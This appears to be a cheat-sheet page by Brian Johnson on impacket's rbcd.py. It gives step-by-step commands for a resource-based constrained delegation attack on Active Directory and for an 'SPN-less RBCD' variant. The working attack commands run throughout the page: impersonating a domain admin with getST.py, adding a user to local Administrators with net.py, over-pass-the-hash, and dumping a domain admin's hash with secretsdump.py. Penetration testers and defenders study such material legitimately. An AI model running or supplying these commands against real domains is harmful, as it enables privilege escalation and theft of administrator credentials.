rbcd.py

By

Brian Johnson

rbcd.py is part of impacket.

Example of doing the RBCD attack when you have the TGT of a user with write access to a victim machine

Delegate TO a victim box FROM the machine you added to AD

rbcd.py -delegate-from 'GHOSTY$' -delegate-to 'VICTIMSYSTEM$' -action 'write' 'domain.com/user-you-have-a-TGT-for -k -no-pass

Then use getst to request a TGS on behalf of a high privilege user.

getST.py -impersonate 'domainadmin' -spn 'cifs/victim.domain.com' 'domain.com/GHOSTY$' -k -no-pass
export KRB5CCNAME=domainadmin.ccache

Then use gettgt to request a TGT for the GHOSTY machine.

gettgt.py domain.com/GHOSTY$`
export KRB5CCNAME=GHOSTY.ccache

Then use getst one more time to request TGS on behalf of a high privilege user.

getST.py -impersonate 'domainadmin' -spn 'cifs/VICTIM.domain.com' 'domain.com/GHOSTY$'

Finally, use something like net.py to grant yourself local admin rights

net.py -k -no-pass VICTIM localgroup -name Administrators -join lowpriv

SPN-less RBCD

As discussed on episode #623 of the 7 Minute Security podcast, you may find yourself in a situation where you used ntlmrelayx to --escalate-user in attempts to privilege escalate on a system, but you have no machine account under your control. Well, you can point --escalate-user to your own low-priv domain account, and then use something nicknamed SPN-less RBCD (described in great detail here) to use your low-priv account to impersonate a higher-priv user.

Request a TGT with over-pass-the-hash and extract its session key:

getTGT.py -hashes :$(pypykatz crypto nt 'MySuperSecurePassword') tangent.town/7minsec
describeTicket.py 7minsec.ccache | grep 'Ticket Session Key'

Change the user hash to the session key:

changepasswd.py domain.com/lowpriv:'Password123!'@ip.of.a.dc -newhash xxx

Use getST.py with -u2u to obtain an impersonation ticket:

KRB5CCNAME=7minsec.ccache getST.py -u2u -impersonate Administrator -spn host/tt-dc01 -k -no-pass tangent.town/7minsec

Profit! In this example we're stealing a domain admin (Tommy's) hash:

KRB5CCNAME='tt-dc01$@host_tt-dc01@TANGENT.TOWN.ccache' secretsdump.py -k -no-pass @tt-dc01 -just-dc-user tommy